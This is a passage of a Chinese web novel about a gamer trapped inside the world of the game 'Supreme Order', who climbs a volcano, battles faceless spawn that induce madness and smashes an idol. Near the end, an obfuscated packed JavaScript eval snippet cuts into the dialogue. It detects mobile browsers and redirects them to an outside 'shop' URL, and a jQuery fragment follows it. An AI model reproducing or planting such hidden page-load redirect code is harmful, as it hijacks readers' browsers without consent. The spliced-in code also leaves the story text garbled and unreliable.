远征者的手套和靴子，带有吸附功能，爬起来不算太费力。安西和霍礼凡像两只壁虎，悄无声息地往上窜，偶尔在石桥上坐着休息一会儿。 石桥像平衡木一样窄，好在很结实。 爬了半个多小时，二人坐在石桥上休息，根据地图显示的距离推算，再爬20分钟，就能到达BOSS房位置。 安西隐约有一种不祥的预感：会如此顺利么？ 密道和官邸这种大型建筑，过30年也不会改。密道里的生态系统呢？30年过去，会不会刷新的怪物？ 正想着，头顶“嗖”的一声，安西下意识地抬头一看，一团白花花的东西砸了下来。 掉下来的东西，是一个人！ 安西本坐在石桥上，见状，立刻趴下，四肢缠住石桥，全速往远处爬。 这款游戏里，突然冒出来的东西，多半不是什么好东西。 别说是个人了，就算是钱，安西也不敢捡；就算是存档点，安西也不敢碰。 但霍礼凡不知怎么想的，竟一把抓住坠落者的手臂，还把它往石桥上拽。 “你干什么！”安西大喊。 霍礼凡：“救人啊！” 二人同时收敛了声息，因为，他们看清了这个“人”。 掉下来的人没穿衣服，也没有性别，它的身体像绘画时用作参考的素体人偶。 而且，这个人没有脸，它的面部如被捏变形的肥皂，凹凸不平，一条横贯下颌的缝隙，勉强可以称之为嘴。 霍礼凡吃了一惊，这时，人偶全身抽搐了一下。 “放手！”安西喊。 霍礼凡立刻松手，但为时已晚，无脸人的下颌张开成平角——喉咙连带着食管和胃囊弹了出来。 胃囊长满细小的尖牙齿，吸盘一般紧紧裹住霍礼凡的脸。 更诡异的是，无脸人没有血条。 11.不该出现的人脸 安西早已摸清了血条的规律，血条出现，一般有两种情况：敌人主动攻击时，队友受伤时。 无脸怪人像嘬棒棒糖一样，包裹住霍礼凡整颗脑袋。霍礼凡的血条从满血的3500点，骤降到3244点。 明明造成了伤害，血条怎么不出现？ 没时间想太多，安西抽出短刀，斩断无脸人的食管，又把长满尖刺的胃囊扯下来。 无脸怪人坠入底层熔浆池，安西长呼一口气，这才想起来对教习进行指导：“不要看到什么东西都碰，在这里，把什么东西都当做陷阱，记住了么？” 真是让人操心，他一个见习远征者，还得指导自己的老师。 “我记着了。谢谢你救了我。”霍礼凡说。胃囊尖牙咬出来的伤口，让霍礼凡的整张脸糊满鲜血，他揉着太阳穴，一副很头痛的模样。 石桥的宽度只有10厘米左右，霍礼凡摇摇晃晃地坐不稳，安西扶着他的肩膀，让他靠在岩壁上休息。 危机暂时解除，安西又开始想没有血条的事。 游戏里，无论是友善NPC还是敌对NPC，哪怕是路边一条狗，都有血条。 没有血条的，只有一类：非生命体。 比如从斜坡滚落的能把人压死的大石块、突然从墙壁里弹出来的能把人碾成肉泥的机械手臂。 刚刚的无脸怪人，不是生命体？ 安西没多想，休息片刻后，他招呼霍礼凡继续往上爬。 霍礼凡没回应。 安西感到奇怪，扭头一看，霍礼凡仍靠着石壁，全身无力的模样，随时会跌落下去。 “你怎么了？”安西问，这话刚问出来，他就看到，霍礼凡的血条下方，多了一个小方框。 小方框的图标，是一个人的剪影，那人双手死死抓着脑袋，做仰天咆哮状，看起来很痛苦。 视线停留在小方框上数秒，弹出一个词：急性发狂（持续时间30秒） 霍礼凡的发狂进度条，正从40%缓缓上升，短短数秒，进度条就到达50% “那个无脸怪人不对劲，我被他攻击后，好像急性发狂了。”霍礼凡的中指和拇指掐着太阳穴，用力之大，恨不得把自己的脑袋捏爆。 倒计时结束，霍礼凡的目光清明了一些，他刚要跟着安西往上爬，头顶传来重物下坠的风声。 安西心道一声不好，抬头一看，又有几个白花花的东西掉了下来。还是那些不穿衣服的无脸怪人。 这一次，霍礼凡没再伸手碰。但无脸人很难缠，它们如嗷嗷待哺的雏鸟，张大了嘴巴，食管连着胃囊弹出来，吸附在岩壁上，咯吱咯吱地啃噬着石头。 安西：……怎么给孩子饿成这样？ 无脸怪人源源不断地从上方掉落，数分钟后，岩壁上爬满了这群不穿衣服的东西。 它们没表现出很强的攻击欲望，只是看到什么都吃。挂在岩壁上、石桥上，直到怪人的食管无法承受它们的重量被扯断，怪人扑通扑通掉入底层的熔浆池。 到底是个什么玩意儿？安西可以肯定游戏里没有无脸怪人，因为怪人没穿衣服，若出现在游戏里，游戏过不了审。 对安西来说，无脸人挂在岩壁上扭来扭去的样子有点令人头皮发麻，但还能接受。 霍礼凡就惨了，即使没被无脸人攻击，他的【急性发狂】负面状态也在叠加。 “冷静点，”安西说着，加速往上爬，“把它们当墙纸，不要被它们影响。” 霍礼凡跟在安西身后，听到声音，茫然地抬头看了一眼。 他的发狂进度条已高于70%，眼睛完全变成淡粉色，像一只嗜血的兔子。霍礼凡一字一顿地问：“你是……谁？我们……在哪儿？” 安西：啧，麻烦了。 无脸人仍持续不断地往下掉，足有数百只，有几只无脸人就吸附在安西和霍礼凡身边，喉咙中弹出的食管散着淡淡的温热气息。 安西很想冲上去，揪出那个把无脸人抛下来的人，向他大吼：不要乱扔垃圾！ 他翻出一条保险绳，一端缠在自己腰上，另一端勾住霍礼凡的装备腰带，确认绳索牢固后，咬着牙，拽着霍礼凡，爬到上方最近的岩洞。 这条岩洞，不通往穆耶利亚官邸地下室，而是通往官邸外的【谒见教堂】，但安西管不了这么多，通往官邸地下室的岩洞，还要再往上爬15分钟，霍礼凡肯定坚持不了那么久。 就算霍礼凡能坚持15分钟不发疯，安西也不能腰上挂着一个人的重量攀岩15分钟。 往岩洞深处跑了200多米，霍礼凡的急性发狂状态停止叠加，发狂进度条停止在87%，安西松了一口气，停下来休息。 玩游戏时，安西没遇到过“发狂”这种负面状态，等霍礼凡清醒一些，他立刻问：“发狂是怎么一回事？” 霍礼凡的双眼还有点呆滞，说话颠三倒四，解释了十多分钟，安西才听明白。 成为远征者后，疯狂会随时间累积，但这一过程较长，通常需要2、3年。 与异鬼战斗，会轻微加速疯狂的累积，但杀死异鬼吸取他们体内的“赐福”，可促进认知等级的提升，因此，大部分情况下，与异鬼战斗叠加的疯狂，可忽略不计。 有一类极特殊的东西（比如刚刚碰到的无脸人），能以数十倍、上百倍的速度，加速远征者发疯，这种情况称之为【急性发狂】 急性发狂是暂时性的，尽快逃跑，或尽快斩杀这类异鬼，回到安全的环境，发狂进度会缓缓降低。 根据发狂的严重程度，又分为无症状、轻度、中度、重度和终末五种。 系统补充了一些信息，发狂进度低于40%为无症状，40%-60%是轻度，60%-80%是中度，80%-100%是重度。 一旦急性发狂进度高于100%，就进入终末期，这时，即使回到安全环境，远征者也很难恢复正常。 安西查看系统中自己的状态栏，他从头到尾都没有进入急性发狂状态。 “每个人的精神抗性不同。”霍礼凡说，“安西，你竟然一点也没受到影响，你很有天赋。” “没想到，穆耶利亚家族也开始接触【癫狂核心】了，”霍礼凡揉了揉眼睛，他的眼珠又变回原本的淡蓝色，“他们才投靠福光10年啊。” 安西：“癫狂核心？” “嗯。能造成急性发狂的这类东西，被成为癫狂核心。”霍礼凡说，“癫狂核心会制造一批【癫狂衍生灵】” “那些无脸人，就是癫狂衍生灵，我们简称为衍生灵。官邸里一定藏着一颗癫狂核心。不毁掉癫狂核心，衍生灵会源源不断地被制造出来。” 安西：“癫狂核心是什么时候出现的？” “据见过癫狂核心的远征者推测，大致在50多年前。”霍礼凡说。 安西更疑惑了，癫狂核心出现的时间线，与他玩《至高秩序》的时间线重叠了二十多年。他探过地图所有角落，击败了所有BOSS，为何从未见过、甚至从未听说 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安西还记得，大BOSS难度不算高，反而是小BOSS很难缠。小BOSS是什么来着…… 回忆时，他们来到一个岔路。地图显示，继续往前走，可以进入谒见教堂。走岔路，可以碰到一扇隐藏门，重击岩壁，岩壁会消失，后面就是教堂下方隐藏密室。 “先来这边。”安西走入岔路。 先探支线再探主线，是安西的游戏习惯。 霍礼凡一路跟在安西身后，心中十分诧异：安西明明是第一次来穆耶利亚火山，为何却像回家一样轻车熟路？ 他很想问个清楚，但情况紧迫，不宜闲聊。霍礼凡决定，回到远征者平原，他一定要仔细问问。 安西又找到那扇隐藏门。机关废弃三十余年，不太灵敏，他又踢又踹，敲敲打打好一会儿，隐藏门才打开。 进入隐藏密室，安西立刻想起那个小BOSS是什么了：雕刻师 BOSS雕刻出的人头，还会飘起来追着安西打。有些脑袋五官俱全，有些脑袋则鼻歪眼斜。 脑袋足有上百颗，每一颗都不同。 安西当时边打边吐槽：一个小BOSS，做这么多细节干什么？经费烧手了？我的显卡怎么办？ 这次走入密室，没有雕刻师，但房间里仍堆着上百颗人头。霍礼凡捧起其中的一颗脑袋，惊起地“咦”了一声。 “安西，你看这张脸。”霍礼凡似乎发现了什么有趣的事。 走过去一看，安西顿时明白，他为什么看桂威洛会有似曾相识之感。 霍礼凡手中的人脸，长眉细目，菩萨般的温和慈悲，分明是桂威洛的脸！ “你家桂威洛今年几岁了？”安西忙问。 霍礼凡似乎不觉得哪里奇怪，笑呵呵地擦拭脑袋上的灰尘：“我没问过啊，不到30岁吧。他和我说过，他诞生时，乌赫博什·伊奇斯已离我们而去。” 安西睁圆了眼睛瞅着霍礼凡，一句话也没说，那眼神的意思是：你难道不觉得桂威洛的脸出现在这里，非常不对劲的么？ “桂威洛是行刑官，声名赫赫，身居高位，”霍礼凡不以为意，“有人想为他立一尊雕像呗。” “不是的。”安西连连摇头，低声自语。 他玩《至高秩序》时，桂威洛的脸就追着他打了。 桂威洛肯定不是普通人，甚至……根本不是人。 12.弹反预知 安西意识到桂威洛身世不简单，但他不知道如何告诉霍礼凡，总不能说：你们的世界只是一个游戏，我在30年前的时间线就暴揍过这张脸吧？ 还有……《至高秩序》真的只是一款普通的游戏么？ 玩游戏时，安西没想太多。如今回忆起来，《至高秩序》这款游戏处处透着些异常。 三个多月前，凌晨两点多，安西收到《至高秩序》的邮件，游戏方希望安西试玩这款游戏，邮件附带游戏本体和游戏论坛的客户端安装包。 安西是知名up主，找他做推广的游戏，都得付点广告费，《至高秩序》没给，安西本不想理会，他整理好其他游戏的素材视频，发给剪辑师，困得直打哈欠，倒头就睡。 第二天醒来，打开电脑一看，《至高秩序》和游戏论坛竟已下载好了。 安西困惑地看着屏幕，很快，他找出一个解释：昨晚太困了，他不小心点击下载，但他完全不记得。 既然下载好了，不妨玩一玩。 游戏画面精美，战斗系统出色，武器装备系统丰富，道具五花八门，物理引擎真实、BOSS战演出效果极具视觉冲击力。安西有种预感，这款游戏会火。 他玩了一整天，又打开《至高秩序》当初发给他的那封邮件，仔细读一遍。 邮件强调：通关之后才能在社交平台发布游戏视频。 为了保密嘛，安西理解。作为一个知名up，他很有职业素养，从未尝试过提前发布视频。 但是，安西卡关时，常去论坛找经验帖。论坛里总有一类帖子：《游戏录屏发不出去是怎么回事？显示信息源错误》 安西从没点进去看过，他一心只想拿全网首通。 除此之外，还有玩家讨论《至高秩序》的发行商是谁？为什么全网查不到资料。《至高秩序》是哪个游戏公司制作的？这质量，肯定不是小作坊，但没有一个大公司公开过至高秩序项目。 这款游戏很古怪…… 安西晃了晃脑袋，把这些联想甩开。当务之急，是活着离开这见鬼的火山。 二人离开密室，继续沿主路走，前往谒见教堂。 对于堕落者来说，谒见教堂是他们调整状态的地方，相当于远征者的尖塔。不出意外，谒见教堂里应该有堕落者。 正如安西所料，他们刚走到密道口，还没推开暗门，就听到一个声音： “照耀世间的福光啊，您何时降临。” 听着听着，安西觉得这个声音有些耳熟，好像是在医务室外，和杜勒斯交谈的神秘人。 安西将暗门滑开一道缝，一只眼睛贴上去偷看。 谒见教堂里立着福光的神像。 福光的实体像一棵枯树，每一条树枝顶端都结着一颗眼球。 安西看到福光就头疼，他忘不了那场包含了马拉松、粪招、光污染、读指令、神经刀、快慢刀、三阶段和复活点离BOSS房八百里远每次复活都要跑图十多分钟等所有毒点的BOSS战。 福光神像仿佛有生命，树枝会蠕动，眼球一眨一眨。 安西不由得多看了两眼，游戏里的福光神像不会动。 游戏里的神像不会动，因为经费不足么？安西否定了这个推测。 《至高秩序》都会给雕刻师这样的小BOSS加细节，上百张人脸各有不同，谒见教堂的重要性远高于雕刻师，如果雕塑本来就会动，游戏一定会做出来动效。 唯一的解释是：福光还没死透，甚至，福光在复活。 跪在福光神像前祈祷的堕落者，身材格外高大，目测接近两米。严重驼背，斗篷底下，仿佛有什么东西扭来扭去。 “福光啊，照耀我吧。”驼背人继续祈祷，“怜悯我吧，帮助我吧，卑微如尘泥的我，也想为您的降临献出微躯，但是，家主他……” “【逆转尖塔】里到底藏着什么秘密，家主为何不允许我进入？” 真是个懂事儿的反派，开场三分钟就爆重要信息。 安西对逆转尖塔没什么印象，他打开系统地图一看，确实有名叫逆转尖塔的建筑。 使用搜索功能，不只穆耶利亚火山区域的逆转尖塔被点亮了，大葬宫、嗟城、热泉深渊等区域也有逆转尖塔。 既然被点亮了，就说明安西玩游戏时进入过逆转尖塔。安西对逆转塔一点印象都没有，则说明地图很空，没有BOSS、小怪和装备。 安西比对了一下他们在地图中的位置和逆转尖塔的位置，根据路线推测——他们遇到无脸人的圆柱形石窟，就在逆转尖塔下方。 下饺子似的无脸人，是从逆转塔里扔下来的？ 安西在逆转塔的位置打了个标记，他非得去逆转塔一趟不可，教育他们不要乱扔垃圾。 叮的一声，标记打好。安西的视野中，出现一个小小的箭头。 这时，高个驼背男做了件非常奇怪的事——他把整只手伸进喉咙里。 安西不禁感叹：不做吃播可惜了。 驼背男竟然能把整条小臂塞进喉咙，嗓子眼这么宽，催吐易如反掌吧！ 他在自己的食管里捣鼓了一阵，脖子处的皮肤一起一伏，掏出一团即像气体、又像液体的黑色果冻状物体，恭敬地双手举起，做出供奉的姿势。 碰到黑果冻，福光枝条扭动的幅度加大，眼球眨动的频率加快。 安西蓦地有种不祥的预感，他迅速关上暗门，拽着霍礼凡往回跑。 数秒后，安西不禁佩服他自己出色的直觉。 暗门外的驼背男拔高声音，大喊：“什么？！有远征者潜入谒见教堂！” 身后轰隆一声巨响，飞起的石块快要击中安西时，霍礼凡挡在身后，弹开石块。 驼背男呼哧呼哧喘着气，一步步朝二人逼近。神情中，除了愤怒，更多的是惊讶：“这里竟然有一条密道。” “我都不知道的事……你们怎么进来的？还有，你们是谁？” 霍礼凡挡在安西身前，拿出权杖。 这时，安西在他耳边小声提醒：“诱饵。” 霍礼凡的原计划，是拿安西当诱饵，让他们把桂威洛叫出来，好好谈一谈。 但是，进入官邸后，霍礼凡否定了这个计划。 他们竟然在这里遇到了癫狂核心。官邸远比霍礼凡想象得危险，他不能让安西遭遇生命危险。 于是，霍礼凡抬手甩出一道法术。 密道内空间有限，驼背男没躲开，法球擦着他的斗篷划过去。造成微量伤害。 安西立刻朝驼背男头顶看去。 “哈，远征者，你们的死期到了。”驼背男缓缓扯下披风，后背探出十多只手。 原来他不是驼背，只是多长了几只手。 霍礼凡：“是你的死期到了。” 安西很想说：教习，先别放狠话。 驼背男的血量足有两万四千点啊！你3500点血，我2000点血，他一个人的血量，是我们两人血量总和的四倍还多！ 血条下方，还有两个状态，【福光笼罩】和【（不完全的）吸食】 【福光笼罩】受到福光指引，攻速增加15% 【（不完全的）吸食】吸食过神奇的东西呢，全属性增加20%，寿命-40%，免疫处决伤害。 这怎么打！诅咒他短命么？ 霍礼凡看不到血条，无知者无畏，他对着驼背男放了一连串法术。 在一片闪烁的光芒中，安西注意到视野右上方边缘的位置，有一个红色小方块。 视线顺着红色小方块移动，小方块露出全貌，竟是一截血条，只有500点血。根据方向判断——是福光神像的血条。 真是咄咄怪事，按理说，只有生命体才有血条，难道福光神像是活着的？ 管不了这么多，既然有血条，那就砸两下看看效果。安西从霍礼凡身后冲出去，这时驼背男高举的砍刀落下。 安西挥动巨锤，精准弹反。 趁着驼背男失衡趔趄，安西矮身从驼背男腋下穿过，全速奔向福光神像。 霍礼凡在身后喊着安西的名字，法术发射的咻咻声响个不停，驼背男被法术击中，惨叫一声。法术绕开安西，砸在墙上。 身后有呼啸的风声，驼背男朝安西冲过来了。 安西背对着驼背男，什么也看不见。 但他是高玩，仅听声音，就能判断出驼背男何时发动攻击，以及何时应该转身弹反。 就是现在！ 他忽然转身，双手抡起巨锤再次弹反。 驼背男失衡倒下时，脸上满是惊愕。这个见习远征者，怎么能背对着他精准弹反？ 巨锤砸中驼背男的侧脑，把他打飞两米远。霍礼凡冲过来，又对驼背男施加一道禁锢法术。 安西趁此时机，冲到神像面前，满蓄力重击。 一锤砸了470点血，还剩30点血，再补一个轻击。 神像剧烈抽搐，发出刺耳的尖叫，所有眼睛垂下来，恶狠狠地盯着安西。 安西双手拄着锤子，一脸不屑。看什么看？能把我看死啊？ 树枝枯萎，破碎，眼球炸开。与此同时，驼背男凄厉至极地惨叫。 他的血量迅速降低，【福光笼罩】和【（不完全的）吸食】状态消失，多出一个新的状态：【吸食反噬】（120秒后结束） 【吸食反噬】：你没有吸食的力量，强行吸食只会遭到反噬。每秒扣除2%的生命值。 驼背男的腹腔像吹气球一样鼓起来，嘭一声爆炸，黑色的血液溅到天花板上。 一坨黑色果冻，从他腹腔中爬出来，很快汽化，消失得无影无踪。 安西的系统叮咚响一声，似乎解锁了什么新东西。但眼下情况紧迫，安西没时间细看，他心念一动，将系统页面隐藏，拽着霍礼凡，又逃回密道。 驼背男的叫声太大，一定会引来其他人。 安西刚跑进密道，谒见教堂的大门就被打开。 “怎么回事？” “家主，远征者闯进来了。”驼背男自知命不久矣，临死前语速要快，“两名远征者从那条密道闯进来，我都不知道这条密道啊！” 罗佳沉默一秒：“桂威洛，怎么回事？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594172|187300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “回家主，属下不知。” 听到桂威洛的声音，霍礼凡不由得回头看了一眼，他们已拐过一道弯，看不到谒见教堂中的景象。 往回跑时，安西发现，密道里多了一本精装书，书名是《愿福光笼罩》 这本书是驼背男在密道战斗时，不小心掉出来的。 安西也不知道有用没用，但遇到道具就捡，是玩家的基本素养。 他连忙捡起书，一口气跑到岔路口，钻进小路，找到隐藏门，躲进雕刻师的密室。 和桂威洛八九分相似的脑袋，就在安西脚边。 罗佳和桂威洛能否能找到这间密室？安西也不知道，只能赌一把了。 密道通往圆柱形石窟，那里爬满了无脸人。远征者会被衍生灵影响，堕落者却不会。继续跑下去，只会被罗佳和桂威洛抓到。 官邸建成数百年，有上千个房间，几十条密道，罗佳或许不会记得、甚至不知道有个雕刻师密室。 他们赌对了。 脚步声停在密室的不远处，罗佳的声音隔着墙壁传来：“桂威洛？” 密室的石墙，本质上相当于空气，没有隔音效果，罗佳和桂威洛的谈话能听得一清二楚。 “家主，丹宁的话您信一半儿就好。”桂威洛说，“他私底下做的那些事，您也知道。丹宁他……” 说到这儿，桂威洛恰到好处地停下，关键字词一个也不漏，让两个偷听的人一头雾水。 什么信一半，什么私底下，做了什么事？ 安西很想把丹宁的尸体扶起来，让他和桂威洛学一学，这才是反派的基本素养。 语焉不详的话，罗佳却听懂了，他轻笑一声：“那你说说看，是谁进入密道，是谁潜入谒见教堂，又是谁毁了福光神像？” 桂威洛轻描淡写地说：“远征者怎会知道这条密道呢？” “呵，也是啊。远征者怎么会知道呢。”罗佳自言自语，话锋一转，“我派其他人追查闯入者下落。桂威洛，你去监狱等我。” 桂威洛沉默数秒：“遵命。” 脚步声远去，安西和霍礼凡一时半会儿不敢离开，他们长舒一口气，顺着墙壁滑坐在地。 霍礼凡有很多问题想问，比如，安西怎么想到攻击福光神像的？他竟然能背对敌人时精准弹反，这是新人应有的实力么？ 但看到安西疲倦的模样，霍礼凡什么也没说，递给他一瓶增强体力的药剂，还有一小块巧克力。 喝了药剂，吃了巧克力，安西打开系统。 与丹宁战斗时，系统响起提示音，此刻一看，竟是技能升级提示。 敌人不在视野中，成功弹反一次。【弹反】技能可升级至【弹反预知】 【弹反预知】说明：即将受到攻击、到达触发弹反的最佳时刻，视野中将出现红圈。即使敌人不在你的视野中，也可以触发弹反预知。 安西眼睛一亮，有了这个技能，出现红圈时就弹反，轻松让弹反成功率升至100%啊！ 虽然，凭安西的实力，弹反的成功率也接近100%，但有些情况安西躲不过去，比如无声箭偷袭，比如环境音嘈杂，听不到敌人攻击的声音。 安西立刻选择升级，系统提示：【需要赐福2000点】 【赐福不足】 他才击败了丹宁一位堕落者，刚才只顾着逃命，没机会吸收赐福。 “我们悄悄回去，你把丹宁的赐福全部吸收了。”霍礼凡说，“不吸收，白白浪费，可惜。” 正合安西心意。 二人又等了一会儿，确认周围没人，轻手轻脚摸回去。 官邸的武士已进入谒见教堂，好在，赐福有一个吸收范围，不需要离堕落者的尸体很近。安西躲在密道，赐福自动飘入他的身体。 赐福无色无形，吸收过程很隐秘。 捡了经验，安西和霍礼凡全速逃走。 “离开火山吧，”霍礼凡边跑边喘，“我们惊动了罗佳，官邸的守卫肯定更严密了。” “不走。”安西说。此刻，他们已跑到密道边缘，眼前是圆柱形石窟，无脸人扑通扑通往下掉。 逆转塔还藏着秘密呢，神秘的“癫狂核心”，安西还没见到呢。来都来了，不去看一眼怎么行？ 癫狂核心藏在哪里，逆转塔么？ 正想着，头顶传来轰隆轰隆的巨响，安西抬头一看，圆柱形石窟上方，光线逐渐被挤压成一线。 沉重如山的石门正缓缓关闭。 门关了该怎么进入逆转塔？安西朝四周望了望，圆柱形石窟中，除了数百个挂在石壁上的无脸人，再没有其他东西。 巨门关闭的速度很慢，安西估算，如果他全速往上爬，足够在门关闭之前进入逆转塔。 安西不会被无脸人影响，霍礼凡会。仅仅是数百个无脸人叠加起来的影响，就已经让霍礼凡出现急性发狂的前兆。 霍礼凡的目光已经变得迷茫，盯着某个位置，一动不动。 “你躲进密道，等我回来。”安西说完，不等霍礼凡回话，独自跳上石壁，全力往上爬。